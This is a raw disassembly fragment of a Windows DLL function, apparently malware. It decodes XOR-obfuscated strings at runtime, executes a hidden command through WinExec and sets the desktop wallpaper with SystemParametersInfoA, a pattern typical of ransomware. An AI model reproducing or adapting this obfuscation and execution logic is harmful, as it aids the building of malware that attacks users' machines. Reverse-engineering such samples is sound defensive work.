lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x87b0]
call fcn.180042b00
nop
mov rcx, rax
call fcn.180011760
nop
lea rcx, [rbp + 0x87b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x87d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x50b0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2b6], al
mov byte [rbp + 0x2b7], al
movabs rax, 0xcb2e4fd4d0fd3285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xcc0], rax
movabs rax, 0x3b98c8fd672873b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xcc8], rax
movabs rax, 0xfb38a9272c41eb25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xcd0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcd8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbc40], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbc48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbc50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbc58], rax
vmovdqu ymm0, ymmword [rbp + 0xbc40]
vpxor ymm1, ymm0, ymmword [rbp + 0xcc0]
vmovdqa ymmword [rbp + 0xcc0], ymm1
lea rdx, [rbp + 0xcc0]
lea rcx, [rbp + 0x50d0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x50d0]
lea rcx, [rbp + 0x8810]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x87f0]
call fcn.180042b00
nop
mov rcx, rax
call fcn.180011760
nop
lea rcx, [rbp + 0x87f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8810]
call fcn.180040870
nop
lea rcx, [rbp + 0x50d0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2b8], al
mov byte [rbp + 0x2b9], al
movabs rax, 0xfe445fc388fd3285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xce0], rax
movabs rax, 0x7de3cfce57097fab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xce8], rax
movabs rax, 0xfb38a9272c2dc422
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xcf0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcf8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbc60], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbc68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbc70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbc78], rax
vmovdqu ymm0, ymmword [rbp + 0xbc60]
vpxor ymm1, ymm0, ymmword [rbp + 0xce0]
vmovdqa ymmword [rbp + 0xce0], ymm1
lea rdx, [rbp + 0xce0]
lea rcx, [rbp + 0x50f0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x50f0]
lea rcx, [rbp + 0x8850]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x8830]
call fcn.180042b00
nop
mov rcx, rax
call fcn.180011760
nop
lea rcx, [rbp + 0x8830]
call fcn.180040870
nop
lea rcx, [rbp + 0x8850]
call fcn.180040870
nop
lea rcx, [rbp + 0x50f0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2ba], al
mov byte [rbp + 0x2bb], al
movabs rax, 0xef324ff8cced3285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd00], rax
movabs rax, 0x389bfec6662319bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd08], rax
movabs rax, 0xfb38a9276610e122
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd18], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbc80], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbc88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbc90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbc98], rax
vmovdqu ymm0, ymmword [rbp + 0xbc80]
vpxor ymm1, ymm0, ymmword [rbp + 0xd00]
vmovdqa ymmword [rbp + 0xd00], ymm1
lea rdx, [rbp + 0xd00]
lea rcx, [rbp + 0x5110]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5110]
lea rcx, [rbp + 0x8890]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x8870]
call fcn.180042b00
nop
mov rcx, rax
call fcn.180011760
nop
lea rcx, [rbp + 0x8870]
call fcn.180040870
nop
lea rcx, [rbp + 0x8890]
call fcn.180040870
nop
lea rcx, [rbp + 0x5110]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2bc], al
mov byte [rbp + 0x2bd], al
movabs rax, 0xfd3a4fc38bf53d85
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xde0], rax
movabs rax, 0x3d9895ff7e2b18be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xde8], rax
movabs rax, 0x8c54c4426448be25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xdf0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xdf8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbca0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbca8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbcb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbcb8], rax
vmovdqu ymm0, ymmword [rbp + 0xbca0]
vpxor ymm1, ymm0, ymmword [rbp + 0xde0]
vmovdqa ymmword [rbp + 0xde0], ymm1
lea rdx, [rbp + 0xde0]
lea rcx, [rbp + 0x5130]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5130]
lea rcx, [rbp + 0x88d0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x88b0]
call fcn.180042b00
nop
mov rcx, rax
call fcn.180011760
nop
lea rcx, [rbp + 0x88b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x88d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5130]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2be], al
mov byte [rbp + 0x2bf], al
movabs rax, 0xe72a5ffbd7e93d85
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xee0], rax
movabs rax, 0x3da6c8d066234685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xee8], rax
movabs rax, 0xfb38a9272c41cd24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xef0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xef8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbcc0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbcc8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbcd0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbcd8], rax
vmovdqu ymm0, ymmword [rbp + 0xbcc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xee0]
vmovdqa ymmword [rbp + 0xee0], ymm1
lea rdx, [rbp + 0xee0]
lea rcx, [rbp + 0x5150]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5150]
lea rcx, [rbp + 0x8910]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x88f0]
call fcn.180042b00
nop
mov rcx, rax
call fcn.180011760
nop
lea rcx, [rbp + 0x88f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8910]
call fcn.180040870
nop
lea rcx, [rbp + 0x5150]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2c0], al
mov byte [rbp + 0x2c1], al
movabs rax, 0xe72e2bfbcbf13d85
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xec0], rax
movabs rax, 0x7be3dfff7e547cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xec8], rax
movabs rax, 0xfb38a9272c3dd426
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xed0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xed8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbce0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbce8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbcf0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbcf8], rax
vmovdqu ymm0, ymmword [rbp + 0xbce0]
vpxor ymm1, ymm0, ymmword [rbp + 0xec0]
vmovdqa ymmword [rbp + 0xec0], ymm1
lea rdx, [rbp + 0xec0]
lea rcx, [rbp + 0x5170]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5170]
lea rcx, [rbp + 0x8950]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x8930]
call fcn.180042b00
nop
mov rcx, rax
call fcn.180011760
nop
lea rcx, [rbp + 0x8930]
call fcn.180040870
nop
lea rcx, [rbp + 0x8950]
call fcn.180040870
nop
lea rcx, [rbp + 0x5170]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2c2], al
mov byte [rbp + 0x2c3], al
movabs rax, 0xf0455ffdc1d7328e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
movabs rax, 0x4dd6a69c2f587a83
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xaeb0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xaeb8], rax
movdqa xmm0, xmmword [rbp + 0x3e0]
pxor xmm0, xmmword [rbp + 0xaeb0]
movdqa xmmword [rbp + 0x3e0], xmm0
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x5190]
call fcn.180004520
nop
lea rdx, [rbp + 0x5190]
lea rcx, [rbp + 0x8990]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x8970]
call fcn.180042b00
nop
mov rcx, rax
call fcn.180011780
nop
lea rcx, [rbp + 0x8970]
call fcn.180040870
nop
lea rcx, [rbp + 0x8990]
call fcn.180040870
nop
lea rcx, [rbp + 0x5190]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2c4], al
mov byte [rbp + 0x2c5], al
movabs rax, 0xe5102af8cd82478c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
movabs rax, 0x4dd6a69c2f585c85
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xaea0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xaea8], rax
movdqa xmm0, xmmword [rbp + 0x430]
pxor xmm0, xmmword [rbp + 0xaea0]
movdqa xmmword [rbp + 0x430], xmm0
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x51b0]
call fcn.180004520
nop
lea rdx, [rbp + 0x51b0]
lea rcx, [rbp + 0x89d0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x89b0]
call fcn.180042b00
nop
mov rcx, rax
call fcn.180011780
nop
lea rcx, [rbp + 0x89b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x89d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x51b0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2c6], al
mov byte [rbp + 0x2c7], al
movabs rax, 0xf11762c089e93285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
movabs rax, 0x4dd6a69c7a504683
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xae90], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xae98], rax
movdqa xmm0, xmmword [rbp + 0x440]
pxor xmm0, xmmword [rbp + 0xae90]
movdqa xmmword [rbp + 0x440], xmm0
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x51d0]
call fcn.180004520
nop
lea rdx, [rbp + 0x51d0]
lea rcx, [rbp + 0x8a10]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x89f0]
call fcn.180042b00
nop
mov rcx, rax
call fcn.180011780
nop
lea rcx, [rbp + 0x89f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8a10]
call fcn.180040870
nop
lea rcx, [rbp + 0x51d0]
call fcn.180040870
cmp byte [rbp + 0x30], 0
je 0x18003c98a
call fcn.1800040f0
cmp byte [rbp + 0x31], 0
je 0x18003c995
call fcn.180020080
cmp byte [rbp + 0x32], 0
je 0x18003cad9
xor eax, eax
mov byte [rbp + 0x2c8], al
mov byte [rbp + 0x2c9], al
movabs rax, 0xff2e5ffd8ad347be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xea0], rax
movabs rax, 0x2a9bfed075511982
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xea8], rax
movabs rax, 0xfb38a927762dd40b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xeb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xeb8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbd00], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbd08], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbd10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbd18], rax
vmovdqu ymm0, ymmword [rbp + 0xbd00]
vpxor ymm1, ymm0, ymmword [rbp + 0xea0]
vmovdqa ymmword [rbp + 0xea0], ymm1
lea rdx, [rbp + 0xea0]
lea rcx, [rbp + 0x51f0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x51f0]
lea rcx, [rbp + 0x8a30]
call fcn.1800553f0
nop
lea r8, [rbp + 0xa530]
mov rdx, rax
lea rcx, [rbp + 0xaa98]
call fcn.180041f40
nop
lea rcx, [rbp + 0x8a30]
call fcn.180040870
nop
lea rcx, [rbp + 0x51f0]
call fcn.180040870
lea rcx, [rbp + 0xaa98]
call fcn.18003dd10
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp + 0xaa98]
call fcn.180040870
cmp byte [rbp + 0x33], 0
je 0x18003dc89
xor eax, eax
mov byte [rbp + 0x2ca], al
mov byte [rbp + 0x2cb], al
movabs rax, 0xf0455ffbccd32d87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe80], rax
movabs rax, 0x21befec6672c73bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xe90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xe98], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbd20], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbd28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbd30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbd38], rax
vmovdqu ymm0, ymmword [rbp + 0xbd20]
vpxor ymm1, ymm0, ymmword [rbp + 0xe80]
vmovdqa ymmword [rbp + 0xe80], ymm1
lea rdx, [rbp + 0xe80]
lea rcx, [rbp + 0x5210]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5210]
lea rcx, [rbp + 0x8a50]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.1800082f0
nop
lea rcx, [rbp + 0x8a50]
call fcn.180040870
nop
lea rcx, [rbp + 0x5210]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2cc], al
mov byte [rbp + 0x2cd], al
movabs rax, 0xf32a2ac0cdf13d88
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe60], rax
movabs rax, 0x21a294c57a0d1b85
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe68], rax
movabs rax, 0xc66dee427d49e524
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xe78], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbd40], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbd48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbd50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbd58], rax
vmovdqu ymm0, ymmword [rbp + 0xbd40]
vpxor ymm1, ymm0, ymmword [rbp + 0xe60]
vmovdqa ymmword [rbp + 0xe60], ymm1
lea rdx, [rbp + 0xe60]
lea rcx, [rbp + 0x5230]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5230]
lea rcx, [rbp + 0x8a70]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.1800082f0
nop
lea rcx, [rbp + 0x8a70]
call fcn.180040870
nop
lea rcx, [rbp + 0x5230]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2ce], al
mov byte [rbp + 0x2cf], al
movabs rax, 0xe74d2af8c1fd328b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe40], rax
movabs rax, 0x7083e1f97e504285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xe50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xe58], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbd60], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbd68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbd70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbd78], rax
vmovdqu ymm0, ymmword [rbp + 0xbd60]
vpxor ymm1, ymm0, ymmword [rbp + 0xe40]
vmovdqa ymmword [rbp + 0xe40], ymm1
lea rdx, [rbp + 0xe40]
lea rcx, [rbp + 0x5250]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5250]
lea rcx, [rbp + 0x8a90]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.1800082f0
nop
lea rcx, [rbp + 0x8a90]
call fcn.180040870
nop
lea rcx, [rbp + 0x5250]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2d0], al
mov byte [rbp + 0x2d1], al
movabs rsi, 0xba104ffac2e23285
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xe20], rax
movabs rax, 0x7bbaeef967206cbc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xe30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xe38], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbd80], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbd88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbd90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbd98], rax
vmovdqu ymm0, ymmword [rbp + 0xbd80]
vpxor ymm1, ymm0, ymmword [rbp + 0xe20]
vmovdqa ymmword [rbp + 0xe20], ymm1
lea rdx, [rbp + 0xe20]
lea rcx, [rbp + 0x5270]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5270]
lea rcx, [rbp + 0x8ad0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x8ab0]
call fcn.180042b00
nop
mov rcx, rax
call fcn.1800117f0
movzx ebx, al
lea rcx, [rbp + 0x8ab0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8ad0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5270]
call fcn.180040870
xor eax, eax
test bl, bl
jne 0x18003d357
mov byte [rbp + 0x2d2], al
mov byte [rbp + 0x2d3], al
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xe00], rax
movabs rax, 0x7bbaeef967206cbc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe08], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xe10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xe18], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbda0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbda8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbdb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbdb8], rax
vmovdqu ymm0, ymmword [rbp + 0xbda0]
vpxor ymm1, ymm0, ymmword [rbp + 0xe00]
vmovdqa ymmword [rbp + 0xe00], ymm1
lea rdx, [rbp + 0xe00]
lea rcx, [rbp + 0x52b0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x2d4], al
mov byte [rbp + 0x2d5], al
movabs rbx, 0xbf3150fa8be93dbc
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2320], rax
movabs rax, 0x3eaef1c5215c52aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2328], rax
movabs rax, 0x9172f17d663acb24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2330], rax
movabs rax, 0xd059c32e886d2cf1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2338], rax
movabs rax, 0x896738e326b9e73
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2340], rax
movabs rax, 0x247b074faae20209
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2348], rax
movabs rax, 0x9eaddef7e6f98644
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2350], rax
movabs rax, 0x284ee4f6d0f68276
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2358], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd4c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd4c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd4d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd4d8], rax
movabs rax, 0x3baf30ed0152cd11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd4e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xd4e8], rax
movabs rax, 0xe9ddb3bbd3b0d20b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd4f0], rax
movabs rax, 0x284ee4f6edcbf52c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd4f8], rax
vmovdqu ymm0, ymmword [rbp + 0xd4c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2320]
vmovdqa ymmword [rbp + 0x2320], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2340]
vpxor ymm1, ymm0, ymmword [rbp + 0xd4e0]
vmovdqa ymmword [rbp + 0x2340], ymm1
lea rdx, [rbp + 0x2320]
lea rcx, [rbp + 0x5290]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x52b0]
lea rcx, [rbp + 0x8b30]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x8b10]
call fcn.180042b00
mov rsi, rax
lea rdx, [rbp + 0x5290]
lea rcx, [rbp + 0x8af0]
call fcn.1800553f0
nop
mov rdx, rsi
mov rcx, rax
call fcn.1800200c0
mov esi, eax
lea rcx, [rbp + 0x8af0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8b10]
call fcn.180040870
nop
lea rcx, [rbp + 0x8b30]
call fcn.180040870
nop
lea rcx, [rbp + 0x5290]
call fcn.180040870
nop
lea rcx, [rbp + 0x52b0]
call fcn.180040870
test esi, esi
je 0x18003d488
xor eax, eax
mov byte [rbp + 0x2d6], al
mov byte [rbp + 0x2d7], al
movabs rax, 0xba104ffac2e23285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xdc0], rax
movabs rax, 0x7bbaeef967206cbc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xdc8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xdd0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xdd8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbdc0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbdc8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbdd0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbdd8], rax
vmovdqu ymm0, ymmword [rbp + 0xbdc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xdc0]
vmovdqa ymmword [rbp + 0xdc0], ymm1
lea rdx, [rbp + 0xdc0]
lea rcx, [rbp + 0x52d0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x52d0]
lea rcx, [rbp + 0x8b70]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x8b50]
call fcn.180042b00
mov rcx, rax
call fcn.18003dd10
mov r8, rax
xor edx, edx
lea ecx, [rdx + 0x14]
lea r9d, [rdx + 3]
call qword [sym.imp.USER32.dll_SystemParametersInfoA]
lea rcx, [rbp + 0x8b50]
call fcn.180040870
nop
lea rcx, [rbp + 0x8b70]
call fcn.180040870
nop
lea rcx, [rbp + 0x52d0]
call fcn.180040870
jmp 0x18003d488
mov byte [rbp + 0x2d8], al
mov byte [rbp + 0x2d9], al
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xda0], rax
movabs rax, 0x7bbaeef967206cbc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xda8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xdb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xdb8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbde0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbde8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbdf0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbdf8], rax
vmovdqu ymm0, ymmword [rbp + 0xbde0]
vpxor ymm1, ymm0, ymmword [rbp + 0xda0]
vmovdqa ymmword [rbp + 0xda0], ymm1
lea rdx, [rbp + 0xda0]
lea rcx, [rbp + 0x52f0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x52f0]
lea rcx, [rbp + 0x8bb0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x8b90]
call fcn.180042b00
mov rcx, rax
call fcn.18003dd10
mov r8, rax
xor edx, edx
lea ecx, [rdx + 0x14]
lea r9d, [rdx + 3]
call qword [sym.imp.USER32.dll_SystemParametersInfoA]
lea rcx, [rbp + 0x8b90]
call fcn.180040870
nop
lea rcx, [rbp + 0x8bb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x52f0]
call fcn.180040870
movabs rbx, 0xbf3150fa8be93dbc
xor eax, eax
mov byte [rbp + 0x2da], al
mov byte [rbp + 0x2db], al
movabs rax, 0xfe3140f8c3e13285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd80], rax
movabs rax, 0x7de3e5d127347cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd88], rax
movabs rax, 0xfb38a927664ddb1d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd98], rax
mov qword [rbp], r15
